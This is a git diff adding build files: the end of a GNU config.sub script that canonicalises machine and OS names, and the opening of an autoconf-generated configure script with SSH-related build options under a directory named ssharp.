sed -e 's/86-.*/86-pc/'` + ;; + -sco*) + os=-sco3.2v2 + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -udk*) + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -isc) + os=-isc2.2 + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -clix*) + basic_machine=clipper-intergraph + ;; + -isc*) + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -lynx*) + os=-lynxos + ;; + -ptx*) + basic_machine=`echo $1 | sed -e 's/86-.*/86-sequent/'` + ;; + -windowsnt*) + os=`echo $os | sed -e 's/windowsnt/winnt/'` + ;; + -psos*) + os=-psos + ;; + -mint | -mint[0-9]*) + basic_machine=m68k-atari + os=-mint + ;; +esac + +# Decode aliases for certain CPU-COMPANY combinations. +case $basic_machine in + # Recognize the basic CPU types without company name. + # Some are omitted here because they have special meanings below. + tahoe | i860 | ia64 | m32r | m68k | m68000 | m88k | ns32k | arc | arm \ + | arme[lb] | pyramid | mn10200 | mn10300 | tron | a29k \ + | 580 | i960 | h8300 \ + | x86 | ppcbe | mipsbe | mipsle | shbe | shle | armbe | armle \ + | hppa | hppa1.0 | hppa1.1 | hppa2.0 | hppa2.0w | hppa2.0n \ + | hppa64 \ + | alpha | alphaev[4-8] | alphaev56 | alphapca5[67] \ + | alphaev6[78] \ + | we32k | ns16k | clipper | i370 | sh | powerpc | powerpcle \ + | 1750a | dsp16xx | pdp11 | mips16 | mips64 | mipsel | mips64el \ + | mips64orion | mips64orionel | mipstx39 | mipstx39el \ + | mips64vr4300 | mips64vr4300el | mips64vr4100 | mips64vr4100el \ + | mips64vr5000 | miprs64vr5000el | mcore \ + | sparc | sparclet | sparclite | sparc64 | sparcv9 | v850 | c4x \ + | thumb | d10v | fr30 | avr) + basic_machine=$basic_machine-unknown + ;; + m88110 | m680[12346]0 | m683?2 | m68360 | m5200 | z8k | v70 | h8500 | w65 | pj | pjl) + ;; + + # We use `pc' rather than `unknown' + # because (1) that's what they normally are, and + # (2) the word "unknown" tends to confuse beginning users. + i[34567]86) + basic_machine=$basic_machine-pc + ;; + # Object if more than one company name word. + *-*-*) + echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2 + exit 1 + ;; + # Recognize the basic CPU types with company name. + # FIXME: clean up the formatting here. + vax-* | tahoe-* | i[34567]86-* | i860-* | ia64-* | m32r-* | m68k-* | m68000-* \ + | m88k-* | sparc-* | ns32k-* | fx80-* | arc-* | arm-* | c[123]* \ + | mips-* | pyramid-* | tron-* | a29k-* | romp-* | rs6000-* \ + | power-* | none-* | 580-* | cray2-* | h8300-* | h8500-* | i960-* \ + | xmp-* | ymp-* \ + | x86-* | ppcbe-* | mipsbe-* | mipsle-* | shbe-* | shle-* | armbe-* | armle-* \ + | hppa-* | hppa1.0-* | hppa1.1-* | hppa2.0-* | hppa2.0w-* \ + | hppa2.0n-* | hppa64-* \ + | alpha-* | alphaev[4-8]-* | alphaev56-* | alphapca5[67]-* \ + | alphaev6[78]-* \ + | we32k-* | cydra-* | ns16k-* | pn-* | np1-* | xps100-* \ + | clipper-* | orion-* \ + | sparclite-* | pdp11-* | sh-* | powerpc-* | powerpcle-* \ + | sparc64-* | sparcv9-* | sparc86x-* | mips16-* | mips64-* | mipsel-* \ + | mips64el-* | mips64orion-* | mips64orionel-* \ + | mips64vr4100-* | mips64vr4100el-* | mips64vr4300-* | mips64vr4300el-* \ + | mipstx39-* | mipstx39el-* | mcore-* \ + | f301-* | armv*-* | s390-* | sv1-* | t3e-* \ + | m88110-* | m680[01234]0-* | m683?2-* | m68360-* | z8k-* | d10v-* \ + | thumb-* | v850-* | d30v-* | tic30-* | c30-* | fr30-* \ + | bs2000-*) + ;; + # Recognize the various machine names and aliases which stand + # for a CPU type and a company and sometimes even an OS. + 386bsd) + basic_machine=i386-unknown + os=-bsd + ;; + 3b1 | 7300 | 7300-att | att-7300 | pc7300 | safari | unixpc) + basic_machine=m68000-att + ;; + 3b*) + basic_machine=we32k-att + ;; + a29khif) + basic_machine=a29k-amd + os=-udi + ;; + adobe68k) + basic_machine=m68010-adobe + os=-scout + ;; + alliant | fx80) + basic_machine=fx80-alliant + ;; + altos | altos3068) + basic_machine=m68k-altos + ;; + am29k) + basic_machine=a29k-none + os=-bsd + ;; + amdahl) + basic_machine=580-amdahl + os=-sysv + ;; + amiga | amiga-*) + basic_machine=m68k-cbm + ;; + amigaos | amigados) + basic_machine=m68k-cbm + os=-amigaos + ;; + amigaunix | amix) + basic_machine=m68k-cbm + os=-sysv4 + ;; + apollo68) + basic_machine=m68k-apollo + os=-sysv + ;; + apollo68bsd) + basic_machine=m68k-apollo + os=-bsd + ;; + aux) + basic_machine=m68k-apple + os=-aux + ;; + balance) + basic_machine=ns32k-sequent + os=-dynix + ;; + convex-c1) + basic_machine=c1-convex + os=-bsd + ;; + convex-c2) + basic_machine=c2-convex + os=-bsd + ;; + convex-c32) + basic_machine=c32-convex + os=-bsd + ;; + convex-c34) + basic_machine=c34-convex + os=-bsd + ;; + convex-c38) + basic_machine=c38-convex + os=-bsd + ;; + cray | ymp) + basic_machine=ymp-cray + os=-unicos + ;; + cray2) + basic_machine=cray2-cray + os=-unicos + ;; + [ctj]90-cray) + basic_machine=c90-cray + os=-unicos + ;; + crds | unos) + basic_machine=m68k-crds + ;; + cris | cris-* | etrax*) + basic_machine=cris-axis + ;; + da30 | da30-*) + basic_machine=m68k-da30 + ;; + decstation | decstation-3100 | pmax | pmax-* | pmin | dec3100 | decstatn) + basic_machine=mips-dec + ;; + delta | 3300 | motorola-3300 | motorola-delta \ + | 3300-motorola | delta-motorola) + basic_machine=m68k-motorola + ;; + delta88) + basic_machine=m88k-motorola + os=-sysv3 + ;; + dpx20 | dpx20-*) + basic_machine=rs6000-bull + os=-bosx + ;; + dpx2* | dpx2*-bull) + basic_machine=m68k-bull + os=-sysv3 + ;; + ebmon29k) + basic_machine=a29k-amd + os=-ebmon + ;; + elxsi) + basic_machine=elxsi-elxsi + os=-bsd + ;; + encore | umax | mmax) + basic_machine=ns32k-encore + ;; + es1800 | OSE68k | ose68k | ose | OSE) + basic_machine=m68k-ericsson + os=-ose + ;; + fx2800) + basic_machine=i860-alliant + ;; + genix) + basic_machine=ns32k-ns + ;; + gmicro) + basic_machine=tron-gmicro + os=-sysv + ;; + h3050r* | hiux*) + basic_machine=hppa1.1-hitachi + os=-hiuxwe2 + ;; + h8300hms) + basic_machine=h8300-hitachi + os=-hms + ;; + h8300xray) + basic_machine=h8300-hitachi + os=-xray + ;; + h8500hms) + basic_machine=h8500-hitachi + os=-hms + ;; + harris) + basic_machine=m88k-harris + os=-sysv3 + ;; + hp300-*) + basic_machine=m68k-hp + ;; + hp300bsd) + basic_machine=m68k-hp + os=-bsd + ;; + hp300hpux) + basic_machine=m68k-hp + os=-hpux + ;; + hp3k9[0-9][0-9] | hp9[0-9][0-9]) + basic_machine=hppa1.0-hp + ;; + hp9k2[0-9][0-9] | hp9k31[0-9]) + basic_machine=m68000-hp + ;; + hp9k3[2-9][0-9]) + basic_machine=m68k-hp + ;; + hp9k6[0-9][0-9] | hp6[0-9][0-9]) + basic_machine=hppa1.0-hp + ;; + hp9k7[0-79][0-9] | hp7[0-79][0-9]) + basic_machine=hppa1.1-hp + ;; + hp9k78[0-9] | hp78[0-9]) + # FIXME: really hppa2.0-hp + basic_machine=hppa1.1-hp + ;; + hp9k8[67]1 | hp8[67]1 | hp9k80[24] | hp80[24] | hp9k8[78]9 | hp8[78]9 | hp9k893 | hp893) + # FIXME: really hppa2.0-hp + basic_machine=hppa1.1-hp + ;; + hp9k8[0-9][13679] | hp8[0-9][13679]) + basic_machine=hppa1.1-hp + ;; + hp9k8[0-9][0-9] | hp8[0-9][0-9]) + basic_machine=hppa1.0-hp + ;; + hppa-next) + os=-nextstep3 + ;; + hppaosf) + basic_machine=hppa1.1-hp + os=-osf + ;; + hppro) + basic_machine=hppa1.1-hp + os=-proelf + ;; + i370-ibm* | ibm*) + basic_machine=i370-ibm + ;; +# I'm not sure what "Sysv32" means. Should this be sysv3.2? + i[34567]86v32) + basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` + os=-sysv32 + ;; + i[34567]86v4*) + basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` + os=-sysv4 + ;; + i[34567]86v) + basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` + os=-sysv + ;; + i[34567]86sol2) + basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` + os=-solaris2 + ;; + i386mach) + basic_machine=i386-mach + os=-mach + ;; + i386-vsta | vsta) + basic_machine=i386-unknown + os=-vsta + ;; + i386-go32 | go32) + basic_machine=i386-unknown + os=-go32 + ;; + i386-mingw32 | mingw32) + basic_machine=i386-unknown + os=-mingw32 + ;; + iris | iris4d) + basic_machine=mips-sgi + case $os in + -irix*) + ;; + *) + os=-irix4 + ;; + esac + ;; + isi68 | isi) + basic_machine=m68k-isi + os=-sysv + ;; + m88k-omron*) + basic_machine=m88k-omron + ;; + magnum | m3230) + basic_machine=mips-mips + os=-sysv + ;; + merlin) + basic_machine=ns32k-utek + os=-sysv + ;; + miniframe) + basic_machine=m68000-convergent + ;; + *mint | -mint[0-9]* | *MiNT | *MiNT[0-9]*) + basic_machine=m68k-atari + os=-mint + ;; + mipsel*-linux*) + basic_machine=mipsel-unknown + os=-linux-gnu + ;; + mips*-linux*) + basic_machine=mips-unknown + os=-linux-gnu + ;; + mips3*-*) + basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'` + ;; + mips3*) + basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'`-unknown + ;; + mmix*) + basic_machine=mmix-knuth + os=-mmixware + ;; + monitor) + basic_machine=m68k-rom68k + os=-coff + ;; + msdos) + basic_machine=i386-unknown + os=-msdos + ;; + mvs) + basic_machine=i370-ibm + os=-mvs + ;; + ncr3000) + basic_machine=i486-ncr + os=-sysv4 + ;; + netbsd386) + basic_machine=i386-unknown + os=-netbsd + ;; + netwinder) + basic_machine=armv4l-rebel + os=-linux + ;; + news | news700 | news800 | news900) + basic_machine=m68k-sony + os=-newsos + ;; + news1000) + basic_machine=m68030-sony + os=-newsos + ;; + news-3600 | risc-news) + basic_machine=mips-sony + os=-newsos + ;; + necv70) + basic_machine=v70-nec + os=-sysv + ;; + next | m*-next ) + basic_machine=m68k-next + case $os in + -nextstep* ) + ;; + -ns2*) + os=-nextstep2 + ;; + *) + os=-nextstep3 + ;; + esac + ;; + nh3000) + basic_machine=m68k-harris + os=-cxux + ;; + nh[45]000) + basic_machine=m88k-harris + os=-cxux + ;; + nindy960) + basic_machine=i960-intel + os=-nindy + ;; + mon960) + basic_machine=i960-intel + os=-mon960 + ;; + np1) + basic_machine=np1-gould + ;; + nsr-tandem) + basic_machine=nsr-tandem + ;; + op50n-* | op60c-*) + basic_machine=hppa1.1-oki + os=-proelf + ;; + OSE68000 | ose68000) + basic_machine=m68000-ericsson + os=-ose + ;; + os68k) + basic_machine=m68k-none + os=-os68k + ;; + pa-hitachi) + basic_machine=hppa1.1-hitachi + os=-hiuxwe2 + ;; + paragon) + basic_machine=i860-intel + os=-osf + ;; + pbd) + basic_machine=sparc-tti + ;; + pbb) + basic_machine=m68k-tti + ;; + pc532 | pc532-*) + basic_machine=ns32k-pc532 + ;; + pentium | p5 | k5 | k6 | nexen) + basic_machine=i586-pc + ;; + pentiumpro | p6 | 6x86 | athlon) + basic_machine=i686-pc + ;; + pentiumii | pentium2) + basic_machine=i786-pc + ;; + pentium-* | p5-* | k5-* | k6-* | nexen-*) + basic_machine=i586-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + pentiumpro-* | p6-* | 6x86-* | athlon-*) + basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + pentiumii-* | pentium2-*) + basic_machine=i786-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + pn) + basic_machine=pn-gould + ;; + power) basic_machine=rs6000-ibm + ;; + ppc) basic_machine=powerpc-unknown + ;; + ppc-*) basic_machine=powerpc-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + ppcle | powerpclittle | ppc-le | powerpc-little) + basic_machine=powerpcle-unknown + ;; + ppcle-* | powerpclittle-*) + basic_machine=powerpcle-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + ps2) + basic_machine=i386-ibm + ;; + rom68k) + basic_machine=m68k-rom68k + os=-coff + ;; + rm[46]00) + basic_machine=mips-siemens + ;; + rtpc | rtpc-*) + basic_machine=romp-ibm + ;; + sa29200) + basic_machine=a29k-amd + os=-udi + ;; + sequent) + basic_machine=i386-sequent + ;; + sh) + basic_machine=sh-hitachi + os=-hms + ;; + sparclite-wrs) + basic_machine=sparclite-wrs + os=-vxworks + ;; + sps7) + basic_machine=m68k-bull + os=-sysv2 + ;; + spur) + basic_machine=spur-unknown + ;; + st2000) + basic_machine=m68k-tandem + ;; + stratus) + basic_machine=i860-stratus + os=-sysv4 + ;; + sun2) + basic_machine=m68000-sun + ;; + sun2os3) + basic_machine=m68000-sun + os=-sunos3 + ;; + sun2os4) + basic_machine=m68000-sun + os=-sunos4 + ;; + sun3os3) + basic_machine=m68k-sun + os=-sunos3 + ;; + sun3os4) + basic_machine=m68k-sun + os=-sunos4 + ;; + sun4os3) + basic_machine=sparc-sun + os=-sunos3 + ;; + sun4os4) + basic_machine=sparc-sun + os=-sunos4 + ;; + sun4sol2) + basic_machine=sparc-sun + os=-solaris2 + ;; + sun3 | sun3-*) + basic_machine=m68k-sun + ;; + sun4) + basic_machine=sparc-sun + ;; + sun386 | sun386i | roadrunner) + basic_machine=i386-sun + ;; + sv1) + basic_machine=sv1-cray + os=-unicos + ;; + symmetry) + basic_machine=i386-sequent + os=-dynix + ;; + t3e) + basic_machine=t3e-cray + os=-unicos + ;; + tx39) + basic_machine=mipstx39-unknown + ;; + tx39el) + basic_machine=mipstx39el-unknown + ;; + tower | tower-32) + basic_machine=m68k-ncr + ;; + udi29k) + basic_machine=a29k-amd + os=-udi + ;; + ultra3) + basic_machine=a29k-nyu + os=-sym1 + ;; + v810 | necv810) + basic_machine=v810-nec + os=-none + ;; + vaxv) + basic_machine=vax-dec + os=-sysv + ;; + vms) + basic_machine=vax-dec + os=-vms + ;; + vpp*|vx|vx-*) + basic_machine=f301-fujitsu + ;; + vxworks960) + basic_machine=i960-wrs + os=-vxworks + ;; + vxworks68) + basic_machine=m68k-wrs + os=-vxworks + ;; + vxworks29k) + basic_machine=a29k-wrs + os=-vxworks + ;; + w65*) + basic_machine=w65-wdc + os=-none + ;; + w89k-*) + basic_machine=hppa1.1-winbond + os=-proelf + ;; + xmp) + basic_machine=xmp-cray + os=-unicos + ;; + xps | xps100) + basic_machine=xps100-honeywell + ;; + z8k-*-coff) + basic_machine=z8k-unknown + os=-sim + ;; + none) + basic_machine=none-none + os=-none + ;; + +# Here we handle the default manufacturer of certain CPU types. It is in +# some cases the only manufacturer, in others, it is the most popular. + w89k) + basic_machine=hppa1.1-winbond + ;; + op50n) + basic_machine=hppa1.1-oki + ;; + op60c) + basic_machine=hppa1.1-oki + ;; + mips) + if [ x$os = x-linux-gnu ]; then + basic_machine=mips-unknown + else + basic_machine=mips-mips + fi + ;; + romp) + basic_machine=romp-ibm + ;; + rs6000) + basic_machine=rs6000-ibm + ;; + vax) + basic_machine=vax-dec + ;; + pdp11) + basic_machine=pdp11-dec + ;; + we32k) + basic_machine=we32k-att + ;; + sparc | sparcv9) + basic_machine=sparc-sun + ;; + cydra) + basic_machine=cydra-cydrome + ;; + orion) + basic_machine=orion-highlevel + ;; + orion105) + basic_machine=clipper-highlevel + ;; + mac | mpw | mac-mpw) + basic_machine=m68k-apple + ;; + pmac | pmac-mpw) + basic_machine=powerpc-apple + ;; + c4x*) + basic_machine=c4x-none + os=-coff + ;; + *) + echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2 + exit 1 + ;; +esac + +# Here we canonicalize certain aliases for manufacturers. +case $basic_machine in + *-digital*) + basic_machine=`echo $basic_machine | sed 's/digital.*/dec/'` + ;; + *-commodore*) + basic_machine=`echo $basic_machine | sed 's/commodore.*/cbm/'` + ;; + *) + ;; +esac + +# Decode manufacturer-specific aliases for certain operating systems. + +if [ x"$os" != x"" ] +then +case $os in + # First match some system type aliases + # that might get confused with valid system types. + # -solaris* is a basic system type, with this one exception. + -solaris1 | -solaris1.*) + os=`echo $os | sed -e 's|solaris1|sunos4|'` + ;; + -solaris) + os=-solaris2 + ;; + -svr4*) + os=-sysv4 + ;; + -unixware*) + os=-sysv4.2uw + ;; + -gnu/linux*) + os=`echo $os | sed -e 's|gnu/linux|linux-gnu|'` + ;; + # First accept the basic system types. + # The portable systems comes first. + # Each alternative MUST END IN A *, to match a version number. + # -sysv* is not here because it comes later, after sysvr4. + -gnu* | -bsd* | -mach* | -minix* | -genix* | -ultrix* | -irix* \ + | -*vms* | -sco* | -esix* | -isc* | -aix* | -sunos | -sunos[34]*\ + | -hpux* | -unos* | -osf* | -luna* | -dgux* | -solaris* | -sym* \ + | -amigaos* | -amigados* | -msdos* | -newsos* | -unicos* | -aof* \ + | -aos* \ + | -nindy* | -vxsim* | -vxworks* | -ebmon* | -hms* | -mvs* \ + | -clix* | -riscos* | -uniplus* | -iris* | -rtu* | -xenix* \ + | -hiux* | -386bsd* | -netbsd* | -openbsd* | -freebsd* | -riscix* \ + | -lynxos* | -bosx* | -nextstep* | -cxux* | -aout* | -elf* | -oabi* \ + | -ptx* | -coff* | -ecoff* | -winnt* | -domain* | -vsta* \ + | -udi* | -eabi* | -lites* | -ieee* | -go32* | -aux* \ + | -cygwin* | -pe* | -psos* | -moss* | -proelf* | -rtems* \ + | -mingw32* | -linux-gnu* | -uxpv* | -beos* | -mpeix* | -udk* \ + | -interix* | -uwin* | -rhapsody* | -darwin* | -opened* \ + | -openstep* | -oskit*) + # Remember, each alternative MUST END IN *, to match a version number. + ;; + -qnx*) + case $basic_machine in + x86-* | i[34567]86-*) + ;; + *) + os=-nto$os + ;; + esac + ;; + -nto*) + os=-nto-qnx + ;; + -sim | -es1800* | -hms* | -xray | -os68k* | -none* | -v88r* \ + | -windows* | -osx | -abug | -netware* | -os9* | -beos* \ + | -macos* | -mpw* | -magic* | -mmixware* | -mon960* | -lnews*) + ;; + -mac*) + os=`echo $os | sed -e 's|mac|macos|'` + ;; + -linux*) + os=`echo $os | sed -e 's|linux|linux-gnu|'` + ;; + -sunos5*) + os=`echo $os | sed -e 's|sunos5|solaris2|'` + ;; + -sunos6*) + os=`echo $os | sed -e 's|sunos6|solaris3|'` + ;; + -opened*) + os=-openedition + ;; + -wince*) + os=-wince + ;; + -osfrose*) + os=-osfrose + ;; + -osf*) + os=-osf + ;; + -utek*) + os=-bsd + ;; + -dynix*) + os=-bsd + ;; + -acis*) + os=-aos + ;; + -386bsd) + os=-bsd + ;; + -ctix* | -uts*) + os=-sysv + ;; + -ns2 ) + os=-nextstep2 + ;; + -nsk) + os=-nsk + ;; + # Preserve the version number of sinix5. + -sinix5.*) + os=`echo $os | sed -e 's|sinix|sysv|'` + ;; + -sinix*) + os=-sysv4 + ;; + -triton*) + os=-sysv3 + ;; + -oss*) + os=-sysv3 + ;; + -svr4) + os=-sysv4 + ;; + -svr3) + os=-sysv3 + ;; + -sysvr4) + os=-sysv4 + ;; + # This must come after -sysvr4. + -sysv*) + ;; + -ose*) + os=-ose + ;; + -es1800*) + os=-ose + ;; + -xenix) + os=-xenix + ;; + -*mint | -*MiNT) + os=-mint + ;; + -none) + ;; + *) + # Get rid of the `-' at the beginning of $os. + os=`echo $os | sed 's/[^-]*-//'` + echo Invalid configuration \`$1\': system \`$os\' not recognized 1>&2 + exit 1 + ;; +esac +else + +# Here we handle the default operating systems that come with various machines. +# The value should be what the vendor currently ships out the door with their +# machine or put another way, the most popular os provided with the machine. + +# Note that if you're going to try to match "-MANUFACTURER" here (say, +# "-sun"), then you have to tell the case statement up towards the top +# that MANUFACTURER isn't an operating system. Otherwise, code above +# will signal an error saying that MANUFACTURER isn't an operating +# system, and we'll never get to this point. + +case $basic_machine in + *-acorn) + os=-riscix1.2 + ;; + arm*-rebel) + os=-linux + ;; + arm*-semi) + os=-aout + ;; + pdp11-*) + os=-none + ;; + *-dec | vax-*) + os=-ultrix4.2 + ;; + m68*-apollo) + os=-domain + ;; + i386-sun) + os=-sunos4.0.2 + ;; + m68000-sun) + os=-sunos3 + # This also exists in the configure program, but was not the + # default. + # os=-sunos4 + ;; + m68*-cisco) + os=-aout + ;; + mips*-cisco) + os=-elf + ;; + mips*-*) + os=-elf + ;; + *-tti) # must be before sparc entry or we get the wrong os. + os=-sysv3 + ;; + sparc-* | *-sun) + os=-sunos4.1.1 + ;; + *-be) + os=-beos + ;; + *-ibm) + os=-aix + ;; + *-wec) + os=-proelf + ;; + *-winbond) + os=-proelf + ;; + *-oki) + os=-proelf + ;; + *-hp) + os=-hpux + ;; + *-hitachi) + os=-hiux + ;; + i860-* | *-att | *-ncr | *-altos | *-motorola | *-convergent) + os=-sysv + ;; + *-cbm) + os=-amigaos + ;; + *-dg) + os=-dgux + ;; + *-dolphin) + os=-sysv3 + ;; + m68k-ccur) + os=-rtu + ;; + m88k-omron*) + os=-luna + ;; + *-next ) + os=-nextstep + ;; + *-sequent) + os=-ptx + ;; + *-crds) + os=-unos + ;; + *-ns) + os=-genix + ;; + i370-*) + os=-mvs + ;; + *-next) + os=-nextstep3 + ;; + *-gould) + os=-sysv + ;; + *-highlevel) + os=-bsd + ;; + *-encore) + os=-bsd + ;; + *-sgi) + os=-irix + ;; + *-siemens) + os=-sysv4 + ;; + *-masscomp) + os=-rtu + ;; + f301-fujitsu) + os=-uxpv + ;; + *-rom68k) + os=-coff + ;; + *-*bug) + os=-coff + ;; + *-apple) + os=-macos + ;; + *-atari*) + os=-mint + ;; + *) + os=-none + ;; +esac +fi + +# Here we handle the case where we know the os, and the CPU type, but not the +# manufacturer. We pick the logical manufacturer. +vendor=unknown +case $basic_machine in + *-unknown) + case $os in + -riscix*) + vendor=acorn + ;; + -sunos*) + vendor=sun + ;; + -aix*) + vendor=ibm + ;; + -beos*) + vendor=be + ;; + -hpux*) + vendor=hp + ;; + -mpeix*) + vendor=hp + ;; + -hiux*) + vendor=hitachi + ;; + -unos*) + vendor=crds + ;; + -dgux*) + vendor=dg + ;; + -luna*) + vendor=omron + ;; + -genix*) + vendor=ns + ;; + -mvs* | -opened*) + vendor=ibm + ;; + -ptx*) + vendor=sequent + ;; + -vxsim* | -vxworks*) + vendor=wrs + ;; + -aux*) + vendor=apple + ;; + -hms*) + vendor=hitachi + ;; + -mpw* | -macos*) + vendor=apple + ;; + -*mint | -*MiNT) + vendor=atari + ;; + esac + basic_machine=`echo $basic_machine | sed "s/unknown/$vendor/"` + ;; +esac + +echo $basic_machine$os +exit 0 + +# Local variables: +# eval: (add-hook 'write-file-hooks 'time-stamp) +# time-stamp-start: "version='" +# time-stamp-format: "%:y-%02m-%02d" +# time-stamp-end: "'" +# End: diff --git a/other/ssharp/configure b/other/ssharp/configure new file mode 100755 index 0000000..24a4ed2 --- /dev/null +++ b/other/ssharp/configure @@ -0,0 +1,9189 @@ +#! /bin/sh + +# Guess values for system-dependent variables and create Makefiles. +# Generated automatically using autoconf version 2.13 +# Copyright (C) 1992, 93, 94, 95, 96 Free Software Foundation, Inc. +# +# This configure script is free software; the Free Software Foundation +# gives unlimited permission to copy, distribute and modify it. + +# Defaults: +ac_help= +ac_default_prefix=/usr/local +# Any additions from configure.in: +ac_help="$ac_help + --with-cflags Specify additional flags to pass to compiler" +ac_help="$ac_help + --with-cppflags Specify additional flags to pass to preprocessor " +ac_help="$ac_help + --with-ldflags Specify additional flags to pass to linker" +ac_help="$ac_help + --with-libs Specify additional libraries to link with" +ac_help="$ac_help + --with-pcre Override built in regex library with pcre" +ac_help="$ac_help + --with-skey=PATH Enable S/Key support" +ac_help="$ac_help + --with-tcp-wrappers Enable tcpwrappers support" +ac_help="$ac_help + --with-pam Enable PAM support " +ac_help="$ac_help + --with-ssl-dir=PATH Specify path to OpenSSL installation " +ac_help="$ac_help + --with-kerberos4=PATH Enable Kerberos 4 support" +ac_help="$ac_help + --with-afs=PATH Enable AFS support" +ac_help="$ac_help + --with-rsh=PATH Specify path to remote shell program " +ac_help="$ac_help + --with-xauth=PATH Specify path to xauth program " +ac_help="$ac_help + --with-random=FILE read entropy from FILE (default=/dev/urandom)" +ac_help="$ac_help + --with-prngd-port=PORT read entropy from PRNGD/EGD localhost:PORT" +ac_help="$ac_help + --with-prngd-socket=FILE read entropy from PRNGD/EGD socket FILE (default=/var/run/egd-pool)" +ac_help="$ac_help + --with-mantype=man|cat|doc Set man page type" +ac_help="$ac_help + --with-md5-passwords Enable use of MD5 passwords" +ac_help="$ac_help + --without-shadow Disable shadow password support" +ac_help="$ac_help + --with-ipaddr-display Use ip address instead of hostname in \$DISPLAY" +ac_help="$ac_help + --with-default-path=PATH Specify default \$PATH environment for server" +ac_help="$ac_help + --with-ipv4-default Use IPv4 by connections unless '-6' specified" +ac_help="$ac_help + --with-4in6 Check for and convert IPv4 in IPv6 mapped addresses" +ac_help="$ac_help + --with-bsd-auth Enable BSD auth support" +ac_help="$ac_help + --enable-suid-ssh Install ssh as suid root (default) + --disable-suid-ssh Install ssh without suid bit" +ac_help="$ac_help + --with-pid-dir=PATH Specify location of ssh.pid file" +ac_help="$ac_help + --disable-lastlog disable use of lastlog even if detected [no]" +ac_help="$ac_help + --disable-utmp disable use of utmp even if detected [no]" +ac_help="$ac_help + --disable-utmpx disable use of utmpx even if detected [no]" +ac_help="$ac_help + --disable-wtmp disable use of wtmp even if detected [no]" +ac_help="$ac_help + --disable-wtmpx disable use of wtmpx even if detected [no]" +ac_help="$ac_help + --disable-libutil disable use of libutil (login() etc.) [no]" +ac_help="$ac_help + --disable-pututline disable use of pututline() etc. ([uw]tmp) [no]" +ac_help="$ac_help + --disable-pututxline disable use of pututxline() etc. ([uw]tmpx) [no]" +ac_help="$ac_help + --with-lastlog=FILE|DIR specify lastlog location [common locations]" +ac_help="$ac_help + --with-entropy-timeout Specify entropy gathering command timeout (msec)" + +# Initialize some variables set by options. +# The variables have the same names as the options, with +# dashes changed to underlines. +build=NONE +cache_file=./config.cache +exec_prefix=NONE +host=NONE +no_create= +nonopt=NONE +no_recursion= +prefix=NONE +program_prefix=NONE +program_suffix=NONE +program_transform_name=s,x,x, +silent= +site= +srcdir= +target=NONE +verbose= +x_includes=NONE +x_libraries=NONE +bindir='${exec_prefix}/bin' +sbindir='${exec_prefix}/sbin' +libexecdir='${exec_prefix}/libexec' +datadir='${prefix}/share' +sysconfdir='${prefix}/etc' +sharedstatedir='${prefix}/com' +localstatedir='${prefix}/var' +libdir='${exec_prefix}/lib' +includedir='${prefix}/include' +oldincludedir='/usr/include' +infodir='${prefix}/info' +mandir='${prefix}/man' + +# Initialize some other variables. +subdirs= +MFLAGS= MAKEFLAGS= +SHELL=${CONFIG_SHELL-/bin/sh} +# Maximum number of lines to put in a shell here document. +ac_max_here_lines=12 + +ac_prev= +for ac_option +do + + # If the previous option needs an argument, assign it. + if test -n "$ac_prev"; then + eval "$ac_prev=\$ac_option" + ac_prev= + continue + fi + + case "$ac_option" in + -*=*) ac_optarg=`echo "$ac_option" | sed 's/[-_a-zA-Z0-9]*=//'` ;; + *) ac_optarg= ;; + esac + + # Accept the important Cygnus configure options, so we can diagnose typos. + + case "$ac_option" in + + -bindir | --bindir | --bindi | --bind | --bin | --bi) + ac_prev=bindir ;; + -bindir=* | --bindir=* | --bindi=* | --bind=* | --bin=* | --bi=*) + bindir="$ac_optarg" ;; + + -build | --build | --buil | --bui | --bu) + ac_prev=build ;; + -build=* | --build=* | --buil=* | --bui=* | --bu=*) + build="$ac_optarg" ;; + + -cache-file | --cache-file | --cache-fil | --cache-fi \ + | --cache-f | --cache- | --cache | --cach | --cac | --ca | --c) + ac_prev=cache_file ;; + -cache-file=* | --cache-file=* | --cache-fil=* | --cache-fi=* \ + | --cache-f=* | --cache-=* | --cache=* | --cach=* | --cac=* | --ca=* | --c=*) + cache_file="$ac_optarg" ;; + + -datadir | --datadir | --datadi | --datad | --data | --dat | --da) + ac_prev=datadir ;; + -datadir=* | --datadir=* | --datadi=* | --datad=* | --data=* | --dat=* \ + | --da=*) + datadir="$ac_optarg" ;; + + -disable-* | --disable-*) + ac_feature=`echo $ac_option|sed -e 's/-*disable-//'` + # Reject names that are not valid shell variable names. + if test -n "`echo $ac_feature| sed 's/[-a-zA-Z0-9_]//g'`"; then + { echo "configure: error: $ac_feature: invalid feature name" 1>&2; exit 1; } + fi + ac_feature=`echo $ac_feature| sed 's/-/_/g'` + eval "enable_${ac_feature}=no" ;; + + -enable-* | --enable-*) + ac_feature=`echo $ac_option|sed -e 's/-*enable-//' -e 's/=.*//'` + # Reject names that are not valid shell variable names. + if test -n "`echo $ac_feature| sed 's/[-_a-zA-Z0-9]//g'`"; then + { echo "configure: error: $ac_feature: invalid feature name" 1>&2; exit 1; } + fi + ac_feature=`echo $ac_feature| sed 's/-/_/g'` + case "$ac_option" in + *=*) ;; + *) ac_optarg=yes ;; + esac + eval "enable_${ac_feature}='$ac_optarg'" ;; + + -exec-prefix | --exec_prefix | --exec-prefix | --exec-prefi \ + | --exec-pref | --exec-pre | --exec-pr | --exec-p | --exec- \ + | --exec | --exe | --ex) + ac_prev=exec_prefix ;; + -exec-prefix=* | --exec_prefix=* | --exec-prefix=* | --exec-prefi=* \ + | --exec-pref=* | --exec-pre=* | --exec-pr=* | --exec-p=* | --exec-=* \ + | --exec=* 